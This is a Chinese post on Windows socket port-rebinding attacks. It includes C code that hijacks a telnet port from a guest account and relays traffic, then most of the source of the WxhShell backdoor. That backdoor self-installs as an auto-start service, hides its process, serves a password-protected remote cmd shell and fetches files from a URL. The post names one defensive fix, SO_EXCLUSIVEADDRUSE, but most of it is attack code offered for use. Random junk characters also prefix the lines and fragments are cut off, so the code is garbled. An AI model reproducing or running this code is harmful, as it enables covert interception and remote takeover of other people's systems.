在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
J=JYf_=4bc s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
:
9wW*Ix J\^ZRu_K saddr.sin_family = AF_INET;
<C`qJP- CkKr@. dV saddr.sin_addr.s_addr = htonl(INADDR_ANY);
4C\>JGZvq }(4U7Ac bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
]h3<r8D_# S='AA_jnw 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
^I*</w8 mtSOygd 这意味着什么?意味着可以进行如下的攻击:
d!mtSOh ms@*JCL!t 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
^V#9{)B FAkjFgUJp 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Ue^2H[zs- ~za=yZo7( 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
?mU
3foa OOA%NKV 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
7p}J]!Z CZe0kH^:{ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
RY3ANEu+ /Ut h#s: 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Ab ,n^ :vZ8n6J[ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
? FGzw J6r"_>)z #include
bw\fKZ #include
&MKG#Y} #include
3z';Zwz &X #include
+LuGjDn0 DWORD WINAPI ClientThread(LPVOID lpParam);
M0zJGIT~b int main()
ofH=h {
^m8T$^z> WORD wVersionRequested;
Dvbrpn!sk DWORD ret;
q1}HsTnBH WSADATA wsaData;
g`I`q3EF) BOOL val;
62GP1qH9 SOCKADDR_IN saddr;
?a?i8rnWo SOCKADDR_IN scaddr;
J/X{
Y2f int err;
bL
soKe SOCKET s;
91d@/z SOCKET sc;
. J[2\ "W int caddsize;
t[* ;v HANDLE mt;
o8Vtxnkg DWORD tid;
u>SGa @R) wVersionRequested = MAKEWORD( 2, 2 );
exT
O#*o err = WSAStartup( wVersionRequested, &wsaData );
y=7WnQc if ( err != 0 ) {
XJ,P8nx printf("error!WSAStartup failed!\n");
Vz[E)(QX-` return -1;
8s(?zK\ }
R1OC7q saddr.sin_family = AF_INET;
O_^O1 #2l6'gWE0 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Fb#.Gg9b> hiO:VA saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
A`_(L|~ saddr.sin_port = htons(23);
kzU;24"K if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
U'(}emh} {
/)fx(u# printf("error!socket failed!\n");
Rj6:.KEJ return -1;
GPlAQk }
pie<jZt val = TRUE;
*qdf?'R //SO_REUSEADDR选项就是可以实现端口重绑定的
hd{Vz{;W if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
?|!167/O {
/^ *GoB printf("error!setsockopt failed!\n");
3 d
$ return -1;
_%^t[4)q }
Z)}q=NjA //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
7oaa) //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
!_0kn6S5 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
LoZ8;VU mw0#Dhyy1= if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
jusP
aAdW {
h<;kj#qbb ret=GetLastError();
nn><
k" printf("error!bind failed!\n");
R-nC+)^ return -1;
uMOm<kn }
%SORs(4 listen(s,2);
7
+A-S9P) while(1)
bU'{U0lM {
{.F``2 caddsize = sizeof(scaddr);
D~ _|`D5WK //接受连接请求
`s74g0h sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
kB_u U !G if(sc!=INVALID_SOCKET)
]=ar&1}J {
.C=&`;Vs mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Y^5X> if(mt==NULL)
SjgF&LD {
*4}lV8 printf("Thread Creat Failed!\n");
S~^0
_? break;
&X0/7)*"v }
nsR^TD;
}
uV1H iv- CloseHandle(mt);
bDd$79@m }
[P#^nyOh( closesocket(s);
Q)N$h07R WSACleanup();
QYDTb=h~ return 0;
8\c=Un }
pcw!e_"+ DWORD WINAPI ClientThread(LPVOID lpParam)
86d* {
|rJ_ SOCKET ss = (SOCKET)lpParam;
%4QCUc*lr SOCKET sc;
dLOUL9hf unsigned char buf[4096];
N{Og; roGD SOCKADDR_IN saddr;
- bL
7M5 long num;
f:iK5g DWORD val;
E.W7`zl DWORD ret;
$s2Ty1 //如果是隐藏端口应用的话,可以在此处加一些判断
etF?,^)h=g //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
\ZrLh,6f. saddr.sin_family = AF_INET;
K@xp! saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
m(JFlO saddr.sin_port = htons(23);
xo{f"8}^ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
rhFa rm4a {
U!m-{7s$ printf("error!socket failed!\n");
#sit8k`GR8 return -1;
:&$4&\_F }
Bm%.f!` val = 100;
/bA\O
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
y@g{:/cmO {
g;en_~g3j ret = GetLastError();
K]dqK' return -1;
kfb+OE:7 }
0^44${bA if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
3}O.B
r| {
g3{)AX[Uy ret = GetLastError();
e
#l/jFJU return -1;
rN?
L8 }
bu"Jb4_a> if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
N]cGJU>$ {
Y+N^_2@+C printf("error!socket connect failed!\n");
^5vFF@to closesocket(sc);
p-V#nPb closesocket(ss);
D[{p~x^ return -1;
AEkgm^t.{ }
&*g5kh{ while(1)
S8j;oJ2d {
u&l2s&i //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
M"F?'zTkJ //如果是嗅探内容的话,可以再此处进行内容分析和记录
/1++ 8= //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
X?$Eb num = recv(ss,buf,4096,0);
0O4'Ts ? if(num>0)
9m56oT'U{ send(sc,buf,num,0);
"hz(A.THi else if(num==0)
'T[=Uuj" break;
q|2{W.P5qi num = recv(sc,buf,4096,0);
;}IF'ANA if(num>0)
~Av]LW send(ss,buf,num,0);
SqY;2: else if(num==0)
jM
J[6qj break;
M0o=bYI }
Y%qhgzz?/ closesocket(ss);
sBp|Lo closesocket(sc);
FsZM_0>/s return 0 ;
4s*P5w_'/ }
rPK?pJ GN{\ccej )<4o"R:* ==========================================================
W"Dj+/uS 9.e?<u*-z 下边附上一个代码,,WXhSHELL
n]4)~ZIAU heZ)+}U~ ==========================================================
P&| = s9'g'O5 #include "stdafx.h"
DMcvu*A ;3\Fb3d #include <stdio.h>
Szi4M&!K #include <string.h>
`{I,!to #include <windows.h>
3@$h/xMJ #include <winsock2.h>
l>"gO9j #include <winsvc.h>
mL+}Ka #include <urlmon.h>
Ndi'b_Sh\ KtY~Y #pragma comment (lib, "Ws2_32.lib")
_wM[U`H}s #pragma comment (lib, "urlmon.lib")
P,h@F+OZN _ %&"4bm. #define MAX_USER 100 // 最大客户端连接数
)ACa0V>*p #define BUF_SOCK 200 // sock buffer
vJGxD\h #define KEY_BUFF 255 // 输入 buffer
v Xio1hu [k-7Kq #define REBOOT 0 // 重启
m|~,# d@ #define SHUTDOWN 1 // 关机
f]$g9H %H<w.]> #define DEF_PORT 5000 // 监听端口
_KmpC>J+ eJ{"\c( #define REG_LEN 16 // 注册表键长度
~'fa,XZ< #define SVC_LEN 80 // NT服务名长度
BO[Q"g$Kon X_s;j5ur // 从dll定义API
#CV(F$\1{ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
2 )RW*Qu;+ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
e_]1e7t typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
o)}b Fw typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
4)2*|w Ms1\J2 // wxhshell配置信息
* VW\ struct WSCFG {
qCgP8U/jv int ws_port; // 监听端口
9ciL<'H\ char ws_passstr[REG_LEN]; // 口令
TOMvJ>bF int ws_autoins; // 安装标记, 1=yes 0=no
g/z9bOgIX char ws_regname[REG_LEN]; // 注册表键名
8f^URN<x char ws_svcname[REG_LEN]; // 服务名
C==tJog[ char ws_svcdisp[SVC_LEN]; // 服务显示名
3Un/-4uL char ws_svcdesc[SVC_LEN]; // 服务描述信息
Z+t?ah00 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
r\],5x'xSu int ws_downexe; // 下载执行标记, 1=yes 0=no
~R)w
9uq char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
@{I55EQ] char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Qk-y0 $6!` };
::H jpM ?2EzNN cS // default Wxhshell configuration
GU&XK7L struct WSCFG wscfg={DEF_PORT,
U\VwJ2
{i "xuhuanlingzhe",
ie.cTTOI 1,
gK)B3dH*& "Wxhshell",
tY# F8a& "Wxhshell",
5@[%P= "WxhShell Service",
}sJ%InL "Wrsky Windows CmdShell Service",
0SKt8pL` "Please Input Your Password: ",
;t?pyFT2Z 1,
Ur&: Rr "
http://www.wrsky.com/wxhshell.exe",
8QC:ro "Wxhshell.exe"
w5|@vB/pj };
'2[ _U&e ^"buF\3L // 消息定义模块
?U-p
jjM char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
'[-H].-! char *msg_ws_prompt="\n\r? for help\n\r#>";
#i2q}/w5`C char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
k}T~N.0 char *msg_ws_ext="\n\rExit.";
3'/wRK l char *msg_ws_end="\n\rQuit.";
KMbBow3o*~ char *msg_ws_boot="\n\rReboot...";
Q ;k_q3 char *msg_ws_poff="\n\rShutdown...";
+#B%Y K|LR char *msg_ws_down="\n\rSave to ";
A5H[g`& !uO|T'u0a char *msg_ws_err="\n\rErr!";
e:7aVOm char *msg_ws_ok="\n\rOK!";
N,[M8n, ?J6hiQvL char ExeFile[MAX_PATH];
qA30z%#z_ int nUser = 0;
sL/Lw
WH HANDLE handles[MAX_USER];
yp*kMC,3 int OsIsNt;
?,%N? &R^mpV5 SERVICE_STATUS serviceStatus;
_R-#I SERVICE_STATUS_HANDLE hServiceStatusHandle;
HKxrBQr78 UVI=&y]c,p // 函数声明
n,HWVo>([ int Install(void);
~{NDtB) int Uninstall(void);
UT{Nly8u int DownloadFile(char *sURL, SOCKET wsh);
pwZ &2&| int Boot(int flag);
_v$mGZpGY void HideProc(void);
W\KZFrV@ int GetOsVer(void);
@ics int Wxhshell(SOCKET wsl);
I"
j7 void TalkWithClient(void *cs);
A,=l9hE' int CmdShell(SOCKET sock);
O/-OW: 03 int StartFromService(void);
@K+u+}
R int StartWxhshell(LPSTR lpCmdLine);
>XZq=q]E! 5N|77AAxK VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
]B7t9l VOID WINAPI NTServiceHandler( DWORD fdwControl );
F
H%yyT _%L3?PpF" // 数据结构和表定义
X@D3 SERVICE_TABLE_ENTRY DispatchTable[] =
Bkz {
JGdBpj: {wscfg.ws_svcname, NTServiceMain},
9a4RW}S< {NULL, NULL}
;zJ_apZ:{ };
%vThbP#mR| _9gn;F // 自我安装
ftH
0aI int Install(void)
CNN?8/u!@ {
kU^@R<Fo char svExeFile[MAX_PATH];
:iWV:0)P HKEY key;
hOC,Eo strcpy(svExeFile,ExeFile);
vcSS+ TX+t
// 如果是win9x系统,修改注册表设为自启动
#UI`G3w< if(!OsIsNt) {
}}xR?+4A if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
-OW$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
~,guw7F RegCloseKey(key);
"yz@LV1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
~g,QwaA[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
T(}da**X RegCloseKey(key);
kN) pi " return 0;
*lTu- }
JC+VG;kcs }
w'eenIX^^ }
;s!H else {
07MLK8jS #nxx\,i> // 如果是NT以上系统,安装为系统服务
u4nXK
<KL| SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
xAO]u[J if (schSCManager!=0)
h7w<.zwu
t {
U!`'Qw; SC_HANDLE schService = CreateService
]f c:CR (
q>X:z0H schSCManager,
\ lKQ'_ wscfg.ws_svcname,
<;T7qEIlo wscfg.ws_svcdisp,
@kK=|(OB' SERVICE_ALL_ACCESS,
s1FBz)yCY= SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
D|BN_ai9 SERVICE_AUTO_START,
/>oU}m"k SERVICE_ERROR_NORMAL,
N1-LM9S svExeFile,
>@|<1Fx| NULL,
-Tt}M#W NULL,
$k?L?R1 NULL,
>*(>%E~H NULL,
M]{!Nx NULL
. =5Jpo );
iUKj:q: if (schService!=0)
YsDl2P {
E}GSii%S CloseServiceHandle(schService);
/6fPC;l CloseServiceHandle(schSCManager);
M#p,Z F strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
'GyPl strcat(svExeFile,wscfg.ws_svcname);
=1(BKk> if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
(l,o UBRr RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
sDC RL%0QK RegCloseKey(key);
f:SF&t* return 0;
u rOG Oa$ }
[4t KJ+v }
Y>%NuL|s CloseServiceHandle(schSCManager);
%!S }
P&YaJUq.u }
Y^G3<.B IO'Q}bU4vs return 1;
^`7t@G$ D }
t<7WM'2<y 7AiCQWf9 // 自我卸载
[ bW=>M int Uninstall(void)
3{z|301<m {
r?TK@^z HKEY key;
}M9al@" {Vm36/a if(!OsIsNt) {
i<?4iwX%i* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
6.jZy~ RegDeleteValue(key,wscfg.ws_regname);
Hn~1x'$ RegCloseKey(key);
6b|`[t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
E~P0}' RegDeleteValue(key,wscfg.ws_regname);
$5IrM7i RegCloseKey(key);
QhUraZ return 0;
75HL }
f0s
&9H }
EHHxCq? }
H^g<`XEgw else {
C] w< &o 1sjn_fPz SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
U!5*V9T~J if (schSCManager!=0)
(n/1:' {
)8SP$ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
{+:XVT_+ if (schService!=0)
&>{>k<z {
sdWl5 " if(DeleteService(schService)!=0) {
:c t+.# CloseServiceHandle(schService);
j1<1D@UO CloseServiceHandle(schSCManager);
{p
0'Lc<3n return 0;
8957$g }
^j %UZ CloseServiceHandle(schService);
H~i],WD }
81cmG`G7 CloseServiceHandle(schSCManager);
<T[N.mB }
*F*X_O }
;%<4U^2 Y ,yaB)&Ih return 1;
@45 H8|:k }
[u80-x< (do=o&9pm // 从指定url下载文件
hhGpB$A int DownloadFile(char *sURL, SOCKET wsh)
%b;+/s2W {
CE,Om^ HRESULT hr;
@U{M"1zZe char seps[]= "/";
836m5/kH[ char *token;
_vH!0@QFU char *file;
.M2&ad : char myURL[MAX_PATH];
[r8 d+ char myFILE[MAX_PATH];
MF}Lv1/[-J ?8@*q6~8 strcpy(myURL,sURL);
C4tl4df9 token=strtok(myURL,seps);
E{s|# while(token!=NULL)
l|A8AuO*? {
Mqp68% file=token;
(dF;Gcw+ token=strtok(NULL,seps);
;;!{m(;LS} }
I;-5]/, 9`xFZMd31A GetCurrentDirectory(MAX_PATH,myFILE);
%n25Uq strcat(myFILE, "\\");
r5!M;hU1j strcat(myFILE, file);
%k
#Nu send(wsh,myFILE,strlen(myFILE),0);
"v!HKnDT send(wsh,"...",3,0);
v6?\65w,| hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
m1i+{(( if(hr==S_OK)
"n }fEVJ, return 0;
Q+(:n)G_6E else
2bnIT>( return 1;
X#,[2&17Fh 7 afA'.= }
*u'`XRJU/ 3b@1Zahz // 系统电源模块
jA4v?(AO}# int Boot(int flag)
$L8s/1up {
K)UOx#xe1 HANDLE hToken;
"!6~*!]c TOKEN_PRIVILEGES tkp;
x[W]?`W3r~ -#;VFSz,9* if(OsIsNt) {
14 'x-w^~k OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
o!r4 frP LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
*/dh_P<Yj tkp.PrivilegeCount = 1;
"Vp:z V<S tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
[e@OHQM AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
P8 ,jA<W if(flag==REBOOT) {
,
)pt_"-XA if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
:YXQ9/iRr return 0;
Qfu*F} }
2G5!u) else {
ku9FN if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
X /,1] return 0;
gc7:Rb^E5t }
Rn(F#tI }
I+?$4SC else {
u$,Wyi )L if(flag==REBOOT) {
rI66frbj if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
{R!TUQ5 return 0;
8tRhV2 }
+Y9D!=_lj else {
-_*XhD if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
B
m@oB2x) return 0;
TgE.=` "7 }
f9XO9N,hE: }
\
Q8q9|g?] p
z+}7 return 1;
4i\aW:_'i }
^=Tu>{uD h8= MVh(I // win9x进程隐藏模块
9
roth void HideProc(void)
j X!ftm2 {
7U
)qC}( \v
P2B HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
27YLg c if ( hKernel != NULL )
*o\Y~U-so {
u:H 3.5)% pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
}V#9tWW ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
h:Mn$VR, FreeLibrary(hKernel);
p C2c(4 }
(9 z.IH7}k UNcJ= return;
,iv%^C",) }
vQTQS[R=z 9EA
!j} // 获取操作系统版本
><
_Z int GetOsVer(void)
tTh;.88Z{ {
0CVsDVA OSVERSIONINFO winfo;
\%?8jQ'tX winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
t"bPKFRy9E GetVersionEx(&winfo);
b}*@=X=4o if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
]7R&m)16 return 1;
nK%/tdq else
n.Eoi4jV' return 0;
[FV=@NI }
':2*+ U>B5LU9& // 客户端句柄模块
k5%0wHpk = int Wxhshell(SOCKET wsl)
>7(~'#x8A" {
>5~Zr$ SOCKET wsh;
iI@Gyq= struct sockaddr_in client;
XG\a-dq[ DWORD myID;
Vh.;p.!e OxHw1k while(nUser<MAX_USER)
6=g]Y!o$ {
{cyo0-9nv int nSize=sizeof(client);
V.QzMF"o wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
L3=YlX`UL if(wsh==INVALID_SOCKET) return 1;
<&Y}j&( >gZk
581/ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
gC_s\WU if(handles[nUser]==0)
7MuK/q. closesocket(wsh);
o!l3.5m2d else
Xm^h5jAr nUser++;
_Dcc<-. }
sg6w7fp> WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
K.iH Yr"!&\[oz return 0;
q{De&Bu }
",aT<lw. qp~4KukL // 关闭 socket
Sv~1XL W void CloseIt(SOCKET wsh)
x+*L5$;h {
o~.o^0Y closesocket(wsh);
$YGIN7_Gg nUser--;
U3|&Jee ExitThread(0);
rm)SfT< }
)*TW\v`B +%le/Pg@ // 客户端请求句柄
nzE,F\k void TalkWithClient(void *cs)
Ky'3z" {
8F`BJ6=' Gkodk[VuLs SOCKET wsh=(SOCKET)cs;
gSv[4,hXd char pwd[SVC_LEN];
iQm.]A char cmd[KEY_BUFF];
=N@)CB7a char chr[1];
_sf#J|kQ int i,j;
we H@S u.pKK
while (nUser < MAX_USER) {
1W}nYU uku}Mr"p if(wscfg.ws_passstr) {
GOZQ5m
- if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
FUzMc1zy| //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
7i+!^Qj?y //ZeroMemory(pwd,KEY_BUFF);
_/N'I7g i=0;
=mi:<q while(i<SVC_LEN) {
S`W'G&bCj
z3vsz // 设置超时
8=n9hLhqo fd_set FdRead;
ni"$[8U struct timeval TimeOut;
e0~sUVYf FD_ZERO(&FdRead);
Re kb?|{z
FD_SET(wsh,&FdRead);
/.| A TimeOut.tv_sec=8;
'Ffy8z{&3 TimeOut.tv_usec=0;
_Ra<|NVQh int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
=YXe1$ $ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
j*eUF-J1 ]8xc?*i8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
c4ZuW_&: pwd
=chr[0]; &sZ9$s:(^
if(chr[0]==0xd || chr[0]==0xa) { zldfRo\wl
pwd=0; )y%jLiQv
break; ]< s\V-y
} R%Ui6dCLo
i++; `FzYvd"N
} m{bZRkt
jSwtf
// 如果是非法用户,关闭 socket 5q(]1|Sei
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z#OhYm+y
} /i-xX*
\uU=O
)
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (b/A|hl
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .)"_Q/q
S1 EEASr!}
while(1) { [5?4c'Ev
(xZr ]v ]U
ZeroMemory(cmd,KEY_BUFF); G%P>Ag
Hhe{ +W@~
// 自动支持客户端 telnet标准 yyY~ *Le
j=0; `2xH7a-
while(j<KEY_BUFF) { {)
:%WnM9
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
#gW /qJ
cmd[j]=chr[0]; sJ))<,e5I
if(chr[0]==0xa || chr[0]==0xd) { [K cki+
cmd[j]=0; AfbB~Ll Bq
break; v"P&`1=T
} Pl rkgS0J
j++; F`Dg*O
} ]^J+-c
v`#j
// 下载文件 e/"yGQu
if(strstr(cmd,"http://")) { X q}Ucpj
send(wsh,msg_ws_down,strlen(msg_ws_down),0); HE#,(;1i
if(DownloadFile(cmd,wsh)) 7BL|x
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q00R<hu@F
else {fGd:2dh
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \H Wcd|
} EJf #f
else { :]P~.PD5,
&8[ZN$Xe"
switch(cmd[0]) { ,O:EX0
[[:UhrH-
// 帮助 ?PBa'g
case '?': { :J^qj AV
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z%(Fo2)^
break; y[:
~CL
} J|VK P7
// 安装 )v[XmJ>H~o
case 'i': { T vrk^!
if(Install()) s|Z:}W?{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "j{i,&Y$_
else x^A7'ad0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K&=D-50%
break; `/#f?Hk=
} o^3FL||P#r
// 卸载 <fN;
xIB
case 'r': { Q,{^S,s<
if(Uninstall()) =M7TCE
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "`pNH'
else qAoAUDm
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LO)GTyzvJ
break; ,V,f2W 4
} ^YGTh0$W
// 显示 wxhshell 所在路径 8{dEpV*
case 'p': { bW53" `X
char svExeFile[MAX_PATH]; X0`j-*,FX
strcpy(svExeFile,"\n\r"); oL]mjo=jN
strcat(svExeFile,ExeFile); "e 1wr
send(wsh,svExeFile,strlen(svExeFile),0); LheFQ A
break; B`fH^N
} !xu9+{-
// 重启 6B0#4Qrv
case 'b': { @}Zd (o
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); lwc5S`"
if(Boot(REBOOT)) yGxv?%%2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'BY-OA#xJ
else { w/W7N
closesocket(wsh); u:@U
$:sZ
ExitThread(0); XVt/qb%)r
} gxwo4.,
break; xACdZB(
} C-m*?))go
// 关机 !;S"&mcPDJ
case 'd': { /@hJpz|+
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v?%LQKO
if(Boot(SHUTDOWN)) Bq@zaMv
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `
J]xP$)
else { w&Y{1r F>
closesocket(wsh); XM/vDdR
ExitThread(0); d H?
ScXM=
} ^rL_C}YBj-
break; *FK`&(B+}
} y+9h~,:A
// 获取shell Kc #|Z
case 's': { x&Cp> +i
CmdShell(wsh); ~>Kq<]3~
closesocket(wsh); G,XPT,:%
ExitThread(0); n_Onr0EvO
break; .$!{-v[
} wJeG(h
// 退出 ['q&@_d7
case 'x': { JBC$Ku
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C3XmK}h
CloseIt(wsh); \,&9
break; ,+`HQdq
} H={&3poBz
// 离开 @F~LW6K
case 'q': { CSTI?A"P
send(wsh,msg_ws_end,strlen(msg_ws_end),0); )J D(`
closesocket(wsh); nXA\|c0
WSACleanup(); ka"337H
exit(1); _:g&,2bc
break; rJJ[X4$
} +Qxu$#
} I.'b'-^
} l@JSK;
Km#pX1]>e
// 提示信息 |Ic`,>XM
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _oFs #kW
} A"v{~
} r?/A?DMe
+7V{ABfGl
return; k]A8% z
} S4^N^lQ]
&HW1mNF9
// shell模块句柄 MJ`3ta
int CmdShell(SOCKET sock) k S#
CEU7
{ L!Cz'm"Nl
STARTUPINFO si; o Y}]UB>
ZeroMemory(&si,sizeof(si)); "=. t
36#
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GoM
ip8'u
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; uX/$CM
PROCESS_INFORMATION ProcessInfo; fBn"kr;
char cmdline[]="cmd"; -]uUY e
c
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ny- [9S-<
return 0; #]?bLm<!
} g7V8D
#oeG!<Mn
// 自身启动模式 "9EE1];NT
int StartFromService(void) ltB.Q
{ `:m!~
typedef struct 3.d"rl
{ =J-5.0Q\_\
DWORD ExitStatus; K,'*Dz
DWORD PebBaseAddress; .nu @ o40
DWORD AffinityMask; ,#FLM`
